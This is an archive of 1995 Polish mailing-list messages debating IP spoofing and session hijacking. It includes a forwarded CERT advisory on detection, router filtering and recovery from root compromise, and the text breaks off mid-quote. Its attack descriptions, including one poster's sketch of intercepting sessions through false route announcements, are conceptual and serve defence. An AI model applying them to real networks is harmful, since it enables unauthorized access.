yppawlus@cyf-kr.edu.pl Wed Jan 25 09:31:47 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03821; Wed, 25 Jan 95 09:29:51 +0100 Return-Path: Received: from mg.cyf-kr.edu.pl (mg.cyf-kr.edu.pl [149.156.2.8]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with ESMTP id JAA17039 for ; Wed, 25 Jan 1995 09:32:04 +0100 From: Jerzy Pawlus Received: (yppawlus@localhost) by mg.cyf-kr.edu.pl (8.6.9/8.6.9) id JAA03380; Wed, 25 Jan 1995 09:32:51 +0100 Date: Wed, 25 Jan 1995 09:32:51 +0100 Message-Id: <199501250832.JAA03380@mg.cyf-kr.edu.pl> To: polip@zsku.p.lodz.pl In-Reply-To: <3g4uu9$45m@Waldemar.mat.uni.torun.pl> (rzm@dain.oso.chalmers.se) Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci > Lech Borkowski (lbs@phys.ufl.edu) wrote: > > ------------------------------------------------------------------------------ > > > Data Network Is Found Open To New Threat > > > The security warning to be issued on Monday will include a list of brands of > > router computers that can use a computer program to protect against the new > > attack, which is called IP, or Internet protocol, spoofing. The new defense > > works by recognizing packets that have been forged and rejecting them. But the > > advisory will also list brands of routers that have no way of protecting against > > the attack. > > 'New defence' to moze byc m.in. stary, dobry tcp_wrapper Wietse Venemy. Opcja, > ktora autor nazwal PARANOID (przeciw DNS spoofing) jest teraz > wkompilowana w tcpd w Slackware Linux. Do czyszczenia opcji IP sluzy > KILL_IP_OPTIONS (W Linuxie niepotrzebna bo opcje nie sa zaimplementowane).i > Jezeli ktos podejrzewa, ze jego tcpd tego nie robi to jest dobra okazja > zeby skompilowac nowa wersje - 7.1, tylko do Suna potrzebny jest patch > 100804-03 lub 101790, jak informuje Venema. tcp_wrapper wykorzystuje > tez demona ident, jezeli jest dostepny. > Nie przeciw temu atakowi. tcp_wrapper jest w tym wypadku bezradny. Jurek From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 25 10:41:47 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA05225; Wed, 25 Jan 95 10:38:56 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id KAA23501 for polip@zsku.p.lodz.pl; Wed, 25 Jan 1995 10:27:14 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 25 Jan 1995 09:12:53 GMT From: rzm@dain.oso.chalmers.se (Rafal Maszkowski) Message-Id: <3g54ml$6k3@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501250832.JAA03380@mg.cyf-kr.edu.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Jerzy Pawlus (Jerzy.Pawlus@cyf-kr.edu.pl) wrote: > > Lech Borkowski (lbs@phys.ufl.edu) wrote: > > > The security warning to be issued on Monday will include a list of brands of > > > router computers that can use a computer program to protect against the new > > > attack, which is called IP, or Internet protocol, spoofing. The new defense > > 'New defence' to moze byc m.in. stary, dobry tcp_wrapper Wietse Venemy. Opcja, > Nie przeciw temu atakowi. tcp_wrapper jest w tym wypadku bezradny. Dopiero zabralem sie za czytanie zaleglych news. Faktycznie. Tak twierdzi CERT. Ale z artykulu trudno sie domyslec... R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From JASZA@samba.iss.uw.edu.pl Wed Jan 25 11:06:48 1995 Received: from cocos.fuw.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06275; Wed, 25 Jan 95 11:06:13 +0100 Return-Path: Received: from samba.iss.uw.edu.pl ([148.81.140.8]) by cocos.fuw.edu.pl (4.1/SMI-4.1) id AA07965; Wed, 25 Jan 95 11:12:09 +0100 Received: from SAMBA/MAIL by samba.iss.uw.edu.pl (Mercury 1.12); Wed, 25 Jan 95 11:18:09 +1100 Received: from MAIL by SAMBA (Mercury 1.12); Wed, 25 Jan 95 11:17:59 +1100 From: "Jacek Szamrej" Organization: ISS UW To: polip@zsku.p.lodz.pl Date: Wed, 25 Jan 1995 11:17:57 CET Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Priority: normal X-Mailer: PMail v3.0 (R1) Message-Id: <2F557564034@samba.iss.uw.edu.pl> > > Dopiero zabralem sie za czytanie zaleglych news. Faktycznie. Tak twierdzi > CERT. Ale z artykulu trudno sie domyslec... > Wlasnie trudno sie czegos domyslec z tego artykulu. Czy kto moglby napisac cos wiecej o tej nowej metodzie ? > R. > -- > Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm > Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec > Pozdrowienia, ... Jacek Szamrej jasza@samba.iss.uw.edu.pl Center for Complex Systems, Institute for Social Studies, Univ. of Warsaw, Poland From RESZ@PLUMCS11.BITNET Wed Jan 25 11:16:48 1995 Received: from plearn.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06737; Wed, 25 Jan 95 11:13:20 +0100 Return-Path: Message-Id: <9501251013.AA06737@zsku.p.lodz.pl> Received: from PLEARN.EDU.PL by plearn.edu.pl (IBM VM SMTP V2R1) with BSMTP id 4270; Wed, 25 Jan 95 11:18:18 CET Received: from PLUMCS11.UMCS.LUBLIN.PL (NJE origin MAILER@PLUMCS11) by PLEARN.EDU.PL (LMail V1.2a/1.8a) with BSMTP id 0739; Wed, 25 Jan 1995 11:18:17 +0200 Received: from PLUMCS11 (RESZ) by PLUMCS11.UMCS.LUBLIN.PL (Mailer R2.10 ptf000) with BSMTP id 9340; Wed, 25 Jan 95 11:18:43 CET Date: Wed, 25 Jan 95 11:07:04 CET From: Andrzej Resztak Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci To: polip@zsku.p.lodz.pl In-Reply-To: Message of Tue, 24 Jan 95 17:10:38 +0100 from On Tue, 24 Jan 95 17:10:38 +0100 Jerzy Pawlus said: >Kto na swiecie, nie mowiac o Polsce stosuje filtry nie wpuszczjace >z zewnatrz do swojej sieci pakietow o adresie zrodlowym swojej sieci? A w Polsce ktos stosuje? Zagrozenie i tak jest niewielkie (zalezy od aplikacji) gdyz komunikacja jest tylko jednostronna. >Na tym nie koniec. Razem z IP spoofing pojawily sie informacje o >mozliwosci przechytywania sesji interakcyjnych (telnet, rlogin). >Na szczescie trzeba miec do tego uprawnienia root'a. To zawsze bylo mozliwe i to bez uprawnien root-a (a nawiasem mowiac to root-em moze byc kazdy na swoim linux-ie, a TCP/IP jest tez pod DOS-em, Macintosh-em itd.). Trzeba jednak miec komputer podlaczony do sieci przez dwa lacza. Mowimy wtedy jednemu router-owi, ze mamy najkrotsza droge gdzies tam, przechwytujemy pakiet i wysylamy do drugiego (blizszego). Jak sie na tym znasz taki program mozesz napisac pod dowolnym systemem. Jest to jednak nieco zmudne. Poza tym lokalnie mozna zawsze podsluchiwac pakiety na ethernecie, niestety. Andrzej From krzysio@hebe.umcs.lublin.pl Wed Jan 25 13:31:49 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09223; Wed, 25 Jan 95 13:28:44 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id MAA03568 for polip@zsku.p.lodz.pl; Wed, 25 Jan 1995 12:34:54 GMT From: Krzysztof Mlynarski Message-Id: <199501251234.MAA03568@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci To: polip@zsku.p.lodz.pl Date: Wed, 25 Jan 1995 13:34:54 +0100 (MET) In-Reply-To: <199501250832.JAA03380@mg.cyf-kr.edu.pl> from "Jerzy Pawlus" at Jan 25, 95 09:35:09 am X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1723 Jerzy Pawlus wrote: > > > > advisory will also list brands of routers that have no way of protecting against > > > the attack. > > > > 'New defence' to moze byc m.in. stary, dobry tcp_wrapper Wietse Venemy. Opcja, > > ktora autor nazwal PARANOID (przeciw DNS spoofing) jest teraz > > wkompilowana w tcpd w Slackware Linux. Do czyszczenia opcji IP sluzy > > KILL_IP_OPTIONS (W Linuxie niepotrzebna bo opcje nie sa zaimplementowane).i > > Jezeli ktos podejrzewa, ze jego tcpd tego nie robi to jest dobra okazja > > zeby skompilowac nowa wersje - 7.1, tylko do Suna potrzebny jest patch > > 100804-03 lub 101790, jak informuje Venema. tcp_wrapper wykorzystuje > > tez demona ident, jezeli jest dostepny. > > > > Nie przeciw temu atakowi. tcp_wrapper jest w tym wypadku bezradny. > Akurat nie jest to prawda. Polecam dyskusje na liscie firewalls. Tam wlasnie TCP Wraper jest wskazywany, jako jedyny dzialajacy tool, bedacy w stanie chocby czesciowo zabezpieczyc nas przed spoofingiem. Co wiecej autorzy postingow wskazuja takze na potrzebe instalacji ident'a (RFC 931). Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From krzysio@hebe.umcs.lublin.pl Wed Jan 25 13:36:48 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09430; Wed, 25 Jan 95 13:36:34 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id MAA03582 for polip@zsku.p.lodz.pl; Wed, 25 Jan 1995 12:42:45 GMT From: Krzysztof Mlynarski Message-Id: <199501251242.MAA03582@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci To: polip@zsku.p.lodz.pl Date: Wed, 25 Jan 1995 13:42:44 +0100 (MET) In-Reply-To: <3g54ml$6k3@Waldemar.mat.uni.torun.pl> from "Rafal Maszkowski" at Jan 25, 95 10:45:54 am X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 2812 Rafal Maszkowski wrote: > > Jerzy Pawlus (Jerzy.Pawlus@cyf-kr.edu.pl) wrote: > > > > Lech Borkowski (lbs@phys.ufl.edu) wrote: > > > > The security warning to be issued on Monday will include a list of brands of > > > > router computers that can use a computer program to protect against the new > > > > attack, which is called IP, or Internet protocol, spoofing. The new defense > > > 'New defence' to moze byc m.in. stary, dobry tcp_wrapper Wietse Venemy. Opcja, > > Nie przeciw temu atakowi. tcp_wrapper jest w tym wypadku bezradny. > > Dopiero zabralem sie za czytanie zaleglych news. Faktycznie. Tak twierdzi > CERT. Ale z artykulu trudno sie domyslec... > Wlasnie dostalem wypowiedz jednego z "oficjeli" CERT'u, ktory sie placze w zeznaniach i twierdzi, ze cala sprawa ich zaskoczyla i tak naprawde do sami jeszcze nad tym pracuja i nie bardzo wiedza co jest grane. Kazal czekac na "mode details", ktore pojawia sie "soon...". Moim prywatnym zdaniem (na podstawie analizy postingow z kilku list dyskusyjnych) jest tak, ze temat nie jest zbyt dobrzez znany, a juz jest wokol niego ogromna afera. Jedni twierdza, ze nic sie nie da zrobic (nawet odcinanie routerami nie pomoze i na kazdej maszynie mozna miec dowolny access itd...), inni, ze jest to b. proste.. wystarczy wylaczyc serwisy identyfikowane poprzez IP (rsh, rlogin...) i juz jest sie bezpiecznym, jeszczze inni wymyslaja juz zupelnie paranoiczne rzeczy. Oczywiscie najlepsza metoda zabezpieczenia jest poki co odpiecie maszyny od sieci - co do tego zgodni jestesmy wszyscy :)))))))) Tak naprawde, to wspomniane przez Ciebie TCP Wrappers skompilowane z opcja PARANOID wydaja sie byc zabezpieczeniem przed niektorymi formami atakow - w polaczeniu z ident dziala to jeszcze lepiej. Co wiecej... wiekszosc doniesien i paniki dotyczy systemow SUN, w ktorych wlamywacz moze instalowac ladowalne moduly do kernela i zdrowo nimi namieszac. Tak wiec dyskusja kreci sie wokol SUN/OS. Niestety nie ma prawie zadnych informacji o maszynach innych firm (poza routerami, ale to inna sprawa). Osobiscie bardzo jestem ciekaw, jak to wyglada na Silicon Graphics (SGI) - bo u nas sa glownie takie maszyny. Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From kokowski@CS.PUT.Poznan.PL Wed Jan 25 14:26:48 1995 Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA11106; Wed, 25 Jan 95 14:25:58 +0100 Return-Path: Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1) id AA03045; Wed, 25 Jan 95 14:32:35 +0100 Subject: Sun FlashBack 1171: CERT Advisory: IP Spoofing Attacks and Hijacked Terminals To: polip@zsku.p.lodz.pl (Polish Internet) Date: Wed, 25 Jan 1995 14:18:53 +0100 (CEU) From: Tomasz Kokowski Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Length: 12196 Message-Id: <9501251418.aa00755@wega.ics.tup.edu.pl> Przesylam kopie magazynu FlashBack (Sun) traktujacego o ostatniej serii wlaman. *To nie bylo po source routing*. Tomasz Kokowski > > FlashBack 1171: CERT Advisory: IP Spoofing Attacks and Hijacked Terminals > ========================================================================== > > The CERT Coordination Center has received reports of attacks in which > intruders create packets with spoofed source IP addresses. These > attacks exploit applications that use authentication based on IP > addresses. This exploitation leads to user and possibly root access on > the targeted system. Note that this attack does not involve source > routing. Recommended solutions are described in Section III below. > > From: cert-advisory@cert.org (CERT Advisory) > Address: Software Engineering Institute > Carnegie Mellon University > Pittsburgh, Pennsylvania 15213-3890 > Phone: +1 412 268-7090 > Fax: +1 412 268-6989 > ------------------------------------------------------------------------- > > CA-95:01 CERT Advisory January 23, 1995 > ======================================== > > IP Spoofing Attacks and Hijacked Terminal Connections > ++++++++++++++++++++++++++++++++++++++++++++++++++++++ > > In the current attack pattern, intruders may dynamically modify the > kernel of a Sun 4.1.X system once root access is attained. In this > attack, which is separate from the IP spoofing attack, intruders use a > tool to take control of any open terminal or login session from users > on the system. Note that although the tool is currently being used > primarily on SunOS 4.1.x systems, the system features that make this > attack possible are not unique to SunOS. > > As we receive additional information relating to this advisory, we will > place it, along with any clarifications, in a CA-95:01.README file. > CERT advisories and their associated README files are available by > anonymous FTP from info.cert.org. We encourage you to check the README > files regularly for updates on advisories that relate to your site. > > > > I. Description > =============== > > This description summarizes both the IP spoofing technique that can > lead to root access on a system and the tool that intruders are using > to take over open terminal and login connections after they get root > access. We are currently seeing attacks in which intruders combine IP > spoofing with use of the tool. However, these are two separate actions. > Intruders can use IP spoofing to gain root access for any purpose; > similarly, they can highjack terminal connections regardless of their > method of gaining root access. > > IP spoofing > ++++++++++++ > > To gain access, intruders create packets with spoofed source IP > addresses. This exploits applications that use authentication based on > IP addresses and leads to unauthorized user and possibly root access on > the targeted system. It is possible to route packets through > filtering-router firewalls if they are not configured to filter > incoming packets whose source address is in the local domain. It is > important to note that the described attack is possible even if no > reply packets can reach the attacker. > > Examples of configurations that are potentially vulnerable include > > o routers to external networks that support multiple internal interfaces > > o routers with two interfaces that support subnetting on the internal > network > > o proxy firewalls where the proxy applications use the source IP > address for authentication > > The IP spoofing attacks we are currently seeing are similar to those > described in two papers: 1) "Security Problems in the TCP/IP Protocol > Suite" by Steve Bellovin, published in _Computer Communication Review_ > vol. 19, no. 2 (April 1989) pages 32-48; 2) "A Weakness in the 4.2BSD > Unix TCP/IP Software" by Robert T. Morris. Both papers are available > by anonymous FTP from > > > ftp.research.att.com:/dist/internet_security > > Bellovin paper: ipext.ps.Z > Morris paper: 117.ps.Z > > Services that are vulnerable to the IP spoofing attack include > > o SunRPC & NFS > > o BSD UNIX "r" commands > > o anything wrapped by the tcp daemon wrappers - site dependent; check > your configuration > > o X windows > > o other applications that use source IP addresses for authentication > > Hijacking tool > +++++++++++++++ > > Once the intruders have root access on a system, they can use a tool to > dynamically modify the UNIX kernel. This modification allows them to > hijack existing terminal and login connections from any user on the > system. > > In taking over the existing connections, intruders can bypass one-time > passwords and other strong authentication schemes by tapping the > connection after the authentication is complete. For example, a > legitimate user connects to a remote site through a login or terminal > session; the intruder hijacks the connection after the user has > completed the authentication to the remote location; the remote site is > now compromised. (See Section I for examples of vulnerable > configurations.) > > Currently, the tool is used primarily on SunOS 4.1.x systems. However, > the system features that make this attack possible are not unique to > SunOS. > > II. Impact > =========== > > Current intruder activity in spoofing source IP addresses can lead to > unauthorized remote root access to systems behind a filtering-router > firewall. > > After gaining root access and taking over existing terminal and login > connections, intruders can gain access to remote hosts. > > III. Solutions > =============== > > A. Detection > +++++++++++++ > > IP spoofing > ------------ > > If you monitor packets using network-monitoring software such as > netlog, look for a packet on your external interface that has both its > source and destination IP addresses in your local domain. If you find > one, you are currently under attack. Netlog is available by anonymous > FTP from > > net.tamu.edu:/pub/security/TAMU/netlog-1.2.tar.gz > MD5 checksum: 1dd62e7e96192456e8c75047c38e994b > > Another way to detect IP spoofing is to compare the process accounting > logs between systems on your internal network. If the IP spoofing > attack has succeeded on one of your systems, you may get a log entry on > the victim machine showing a remote access; on the apparent source > machine, there will be no corresponding entry for initiating that > remote access. > > Hijacking tool > --------------- > > When the intruder attaches to an existing terminal or login connection, > users may detect unusual activity, such as commands appearing on their > terminal that they did not type or a blank window that will no longer > respond to their commands. Encourage your users to inform you of any > such activity. In addition, pay particular attention to connections > that have been idle for a long time. > > Once the attack is completed, it is difficult to detect. However, the > intruders may leave remnants of their tools. For example, you may find > a kernel streams module designed to tap into existing TCP connections. > > B. Prevention > ++++++++++++++ > > IP spoofing > ------------ > > The best method of preventing the IP spoofing problem is to install a > filtering router that restricts the input to your external interface > (known as an input filter) by not allowing a packet through if it has a > source address from your internal network. In addition, you should > filter outgoing packets that have a source address different from your > internal network in order to prevent a source IP spoofing attack > originating from your site. > > The following vendors have reported support for this feature: > > o Bay Networks/Wellfleet routers, version 5 and later > o Cabletron - LAN Secure > o Cisco - RIS software all releases of version 9.21 and later > o Livingston - all versions > > If you need more information about your router or about firewalls, > please contact your vendor directly. > > If your vendor's router does not support filtering on the inbound side > of the interface or if there will be a delay in incorporating the > feature into your system, you may filter the spoofed IP packets by > using a second router between your external interface and your outside > connection. Configure this router to block, on the outgoing interface > connected to your original router, all packets that have a source > address in your internal network. For this purpose, you can use a > filtering router or a UNIX system with two interfaces that supports > packet filtering. > > NOTE: Disabling source routing at the router does not protect you from > this attack, but it is still good security practice to do so. > > Hijacking tool > --------------- > > There is no specific way to prevent use of the tool other than > preventing intruders from gaining root access in the first place. If > you have experienced a root compromise, see Section C for general > instructions on how to recover. > > C. Recovery from a UNIX root compromise > ++++++++++++++++++++++++++++++++++++++++ > > > 1. Disconnect from the network or operate the system in > single-user mode during the recovery. This will keep users > and intruders from accessing the system. > > 2. Verify system binaries and configuration files against the > vendor's media (do not rely on timestamp information to > provide an indication of modification). Do not trust any > verification tool such as cmp(1) located on the compromised > system as it, too, may have been modified by the intruder. > In addition, do not trust the results of the standard UNIX > sum(1) program as we have seen intruders modify system > files in such a way that the checksums remain the same. > Replace any modified files from the vendor's media, not > from backups. > -- or -- > > Reload your system from the vendor's media. > > 3. Search the system for new or modified setuid root files. > > find / -user root -perm -4000 -print > > If you are using NFS or AFS file systems, use ncheck to > search the local file systems. > > ncheck -s /dev/sd0a > > 4. Change the password on all accounts. > > 5. Don't trust your backups for reloading any file used by > root. You do not want to re-introduce files altered by an > intruder. > > > > The CERT Coordination Center thanks Eric Allman, Steve Bellovin, Keith > Bostic, Bill Cheswick, Mike Karels, and Tsutomu Shimomura for > contributing to our understanding of these problems and their > solutions. > > > > If you believe that your system has been compromised, contact the CERT > Coordination Center or your representative in Forum of Incident > Response and Security Teams (FIRST). > > If you wish to send sensitive incident or vulnerability information to > CERT staff by electronic mail, we strongly advise that the e-mail be > encrypted. The CERT Coordination Center can support a shared DES key, > PGP (public key available via anonymous FTP on info.cert.org), or PEM > (contact CERT staff for details). > > Internet E-mail: cert@cert.org > Telephone: +1 412-268-7090 (24-hour hotline) > CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are > on call for emergencies during other hours. > Fax: +1 412-268-6989 > > CERT Coordination Center > Software Engineering Institute > Carnegie Mellon University > Pittsburgh, PA 15213-3890 > USA > > Past advisories, CERT bulletins, information about FIRST > representatives, and other information related to computer security are > available for anonymous FTP from info.cert.org. > > CERT is a service mark of Carnegie Mellon University. > > ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > The Sun FlashBack - A Full-Text On Demand Newsletter > John J. McLaughlin Publisher & Editor - flash@FlashBack.COM From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 25 19:20:16 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15061; Wed, 25 Jan 95 19:18:52 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id TAA00718 for polip@zsku.p.lodz.pl; Wed, 25 Jan 1995 19:21:11 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 25 Jan 1995 17:32:52 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3g6204$61t@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501251234.MAA03568@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: : > Nie przeciw temu atakowi. tcp_wrapper jest w tym wypadku bezradny. : > : Akurat nie jest to prawda. Polecam dyskusje na liscie firewalls. : Tam wlasnie TCP Wraper jest wskazywany, jako jedyny dzialajacy tool, : bedacy w stanie chocby czesciowo zabezpieczyc nas przed spoofingiem. Co : wiecej autorzy postingow wskazuja takze na potrzebe instalacji ident'a : (RFC 931). Jedni pisza, ze jest bezradny. Expert pisze nam, ze jest jedyny dzialajacy. To jak to jest do diabla? -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 25 19:20:23 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15064; Wed, 25 Jan 95 19:18:57 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id TAA00717 for polip@zsku.p.lodz.pl; Wed, 25 Jan 1995 19:21:10 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 25 Jan 1995 17:31:05 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3g61sp$61t@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501250832.JAA03380@mg.cyf-kr.edu.pl>, <3g54ml$6k3@Waldemar.mat.uni.torun.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Rafal Maszkowski (rzm@dain.oso.chalmers.se) wrote: : Jerzy Pawlus (Jerzy.Pawlus@cyf-kr.edu.pl) wrote: : > > Lech Borkowski (lbs@phys.ufl.edu) wrote: : > > > The security warning to be issued on Monday will include a list of brands of : > > > router computers that can use a computer program to protect against the new : > > > attack, which is called IP, or Internet protocol, spoofing. The new defense : > > 'New defence' to moze byc m.in. stary, dobry tcp_wrapper Wietse Venemy. Opcja, : > Nie przeciw temu atakowi. tcp_wrapper jest w tym wypadku bezradny. : Dopiero zabralem sie za czytanie zaleglych news. Faktycznie. Tak twierdzi : CERT. Ale z artykulu trudno sie domyslec... CERT to pisze tylko 'contact vendor'. -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 25 19:20:25 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15067; Wed, 25 Jan 95 19:18:59 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id TAA00719 for polip@zsku.p.lodz.pl; Wed, 25 Jan 1995 19:21:10 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 25 Jan 1995 17:45:07 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3g62n3$61t@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501251242.MAA03582@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: : Co wiecej... wiekszosc doniesien i paniki dotyczy systemow SUN, w : ktorych wlamywacz moze instalowac ladowalne moduly do kernela i zdrowo : nimi namieszac. Tak wiec dyskusja kreci sie wokol SUN/OS. Niestety nie : ma prawie zadnych informacji o maszynach innych firm (poza routerami, : ale to inna sprawa). Osobiscie bardzo jestem ciekaw, jak to wyglada na : Silicon Graphics (SGI) - bo u nas sa glownie takie maszyny. Mi sie wydaje, ze panika wokol Sunow wynika jednak bardziej z ich popularnosci, niz jakiejs specjalnym braku zabezpiczen. Faktycznie, sendmail ichni byl i jest dziurawy jak ser, faktycznie, nfs bywal powodem roznych brzydkich rzeczy. Jesli jednak idzie o spoofing, to wydaje mi sie (jako ze jestem lamer, a nie expert), ze jakiej odmiany unixa uzywamy nie ma wielkiego znaczenia... -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 26 13:41:49 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06227; Thu, 26 Jan 95 13:38:37 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA17067 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 13:27:22 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 26 Jan 1995 13:12:07 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3g83in$sr8@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501251418.aa00755@wega.ics.tup.edu.pl> Subject: Re: Sun FlashBack 1171: CERT Advisory: IP Spoofing Attacks and Hijacked Terminals Tomasz Kokowski (kokowski@CS.PUT.Poznan.PL) wrote: : Przesylam kopie magazynu FlashBack (Sun) traktujacego o ostatniej serii : wlaman. *To nie bylo po source routing*. No, teraz sie troche wyjasnia - rzeczywiscie, sprawa jest nieco powazniejsza niz pierwotnie myslalem: : > To gain access, intruders create packets with spoofed source IP : > addresses. This exploits applications that use authentication based on : > IP addresses and leads to unauthorized user and possibly root access on : > the targeted system. It is possible to route packets through : > filtering-router firewalls if they are not configured to filter : > incoming packets whose source address is in the local domain. It is : > important to note that the described attack is possible even if no : > reply packets can reach the attacker. Innymi slowy: nie pomoze 'no ip source route' na routerze, i nie pomoze ZADEN TCP wrapper. Nie ma bowiem sposobu, zeby TCP wrapper na docelowej maszynie odroznil pakiet falszywy od prawdziwego. To musi robic router. Przyznaje sie bez bicia, ze jeszcze nie wiem, jak zmusic Cisco, zeby to robilo. Ale sie dowiem. Oczywiscie, jesli zrodlo falszywego pakietu jest na lokalnej sieci, to router nic nie pomoze, ale jak masz na lokalnej sieci hosty, ktorym nie mozesz ufac, to i tak i tak kanal (ze wzgledu na mozliwosc nasluchu hasel). : > ftp.research.att.com:/dist/internet_security : > : > Bellovin paper: ipext.ps.Z : > Morris paper: 117.ps.Z Znalazlem, przeczytalem. : > Services that are vulnerable to the IP spoofing attack include : > : > o SunRPC & NFS : > : > o BSD UNIX "r" commands : > : > o anything wrapped by the tcp daemon wrappers - site dependent; check : > your configuration : > : > o X windows : > : > o other applications that use source IP addresses for authentication No i to jest rzeczywiscie problem. Moge nie uzywac .rhosts, ale nie uzywac NFS i X Windows to jest niemozliwosc. : > In taking over the existing connections, intruders can bypass one-time : > passwords and other strong authentication schemes by tapping the : > connection after the authentication is complete. For example, a : > legitimate user connects to a remote site 